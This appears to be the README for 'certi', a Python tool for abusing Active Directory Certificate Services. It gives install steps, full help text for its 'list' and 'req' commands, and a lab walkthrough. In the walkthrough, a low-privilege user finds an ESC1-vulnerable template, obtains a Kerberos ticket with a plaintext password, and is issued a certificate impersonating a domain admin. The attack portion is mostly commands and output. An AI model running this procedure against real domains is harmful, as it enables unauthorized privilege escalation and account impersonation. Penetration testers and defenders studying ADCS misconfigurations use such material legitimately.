Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it’s the impacket copy of Certify. Thanks to @harmj0y and @tifkin_ for its great work with ADCS.
git clone https://github.com/zer1t0/certi
cd certi
python3 setup.py install
certi.py list [-h] [--dc-ip IP] [-k] [-n] [--class [{template,ca,service,ntauth} ...]] [--aes hex key] [--enabled] [--vuln] [--temp-name TEMP_NAME [TEMP_NAME ...]] [--temp-filter TEMP_FILTER]
[--hashes LMHASH:NTHASH]
target
positional arguments:
target domain/username[:password]
options:
-h, --help show this help message and exit
--dc-ip IP IP address of domain controller
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
-n, --no-pass don't ask for password (useful for -k)
--class [{template,ca,service,ntauth} ...]
Classes to retrieve
--aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
--enabled Show only templates that are used by some enroll service
--vuln Show only templates with vulnerable configurations
--temp-name TEMP_NAME [TEMP_NAME ...]
Request only template with the given name
--temp-filter TEMP_FILTER
LDAP filter for templates
--hashes LMHASH:NTHASH
LM and NT hashes, format is LMHASH:NTHASH
usage: certi.py req [-h] [--dc-ip IP] [-t TEMPLATE] [--hashes LMHASH:NTHASH] [--aes hex key] [-k] [-n] [-P CERT_PASS] [-a ALT_NAME] [-o filename] [--on-behalf name] [--enroll-cert ENROLL_CERT]
[--enroll-cert-pw ENROLL_CERT_PW] [-2]
target service
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
service Enrollment service endpoint
options:
-h, --help show this help message and exit
--dc-ip IP IP address of domain controller
-t TEMPLATE, --template TEMPLATE
Name of the template to enroll
--hashes LMHASH:NTHASH
LM and NT hashes, format is LMHASH:NTHASH
--aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
-n, --no-pass don't ask for password (useful for -k)
-P CERT_PASS, --cert-pass CERT_PASS
Password for the retrieved certificate
-a ALT_NAME, --alt-name ALT_NAME
Alternative username to specify in certificate (allows impersonation)
-o filename, --out-cert filename
Filename to save the requested certificate
--on-behalf name User to ask certificate as agent
--enroll-cert ENROLL_CERT
Enrollment agent certificate
--enroll-cert-pw ENROLL_CERT_PW
Password of enrollment agent certificate
-2, --version2 Use WCCE version 2
$ certi.py list 'offsec.nl/johndo-lowpriv' --dc-ip DC01PKI.offsec.nl --vuln --enable
Password:
[*] Templates
Name: User
Schema Version: 1
Enroll Services: offsec-DC01PKI-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
msPKI-Certificate-Name-Flag: (0x-5a000000) SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Enrollment-Flag: (0x29) INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Encrypting File System, Secure Email, Client Authentication
SD Owner: S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
[...]
Name: Administrator
Schema Version: 1
Enroll Services: offsec-DC01PKI-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
msPKI-Certificate-Name-Flag: (0x-5a000000) SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Enrollment-Flag: (0x29) INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Microsoft Trust List Signing, Encrypting File System, Secure Email, Client Authentication
SD Owner: S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
[...]
Name: UsersOffsecAD
Schema Version: 2
Enroll Services: offsec-DC01PKI-CA
Vulnerabilities: ESC1 - SAN Impersonation
msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag: (0x9) INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Client Authentication
msPKI-Certificate-Application-Policy: Client Authentication
SD Owner: S-1-5-21-497837788-612300594-3587273769-500 offsec\Administrator
Permissions
Enrollment Permissions
Enrollment Rights
S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
S-1-5-21-497837788-612300594-3587273769-512 offsec\Domain Admins
S-1-5-21-497837788-612300594-3587273769-513 offsec\Domain Users
Write Permissions
Write Owner
S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
S-1-5-21-497837788-612300594-3587273769-500 offsec\Administrator
S-1-5-21-497837788-612300594-3587273769-512 offsec\Domain Admins
Write DACL
S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
S-1-5-21-497837788-612300594-3587273769-500 offsec\Administrator
S-1-5-21-497837788-612300594-3587273769-512 offsec\Domain Admins
Write Property
S-1-5-21-497837788-612300594-3587273769-519 offsec\Enterprise Admins
S-1-5-21-497837788-612300594-3587273769-500 offsec\Administrator
S-1-5-21-497837788-612300594-3587273769-512 offsec\Domain Admins
S-1-5-21-497837788-612300594-3587273769-513 offsec\Domain Users
getTGT.py 'offsec.nl/johndo-lowpriv:Welkom1234'
Making the ticket available:
export KRB5CCNAME=johndo-lowpriv.ccache
python3 certi.py req 'offsec.nl/[email protected]' offsec-DC01PKI-CA -k -n --alt-name johnDomainAdmin --template UsersOffsecAD
[*] Service: offsec-DC01PKI-CA
[*] Template: UsersOffsecAD
[*] Username: johndo-lowpriv
[*] Alternative Name: johnDomainAdmin
[*] Response: 0x3 Issued
[*] Cert subject: CN=johndo-lowpriv
[*] Cert issuer: CN=offsec-DC01PKI-CA,DC=offsec,DC=local
[*] Cert Serial: 1300000820BF3CEC69D8FEB673000200000820
[*] Cert Extended Key Usage: Client Authentication
[+] Cert Altname: [email protected]
[*] Saving certificate in [email protected] (password: admin)
For further steps on how to abuse AD CS, checkout Abuse AD CS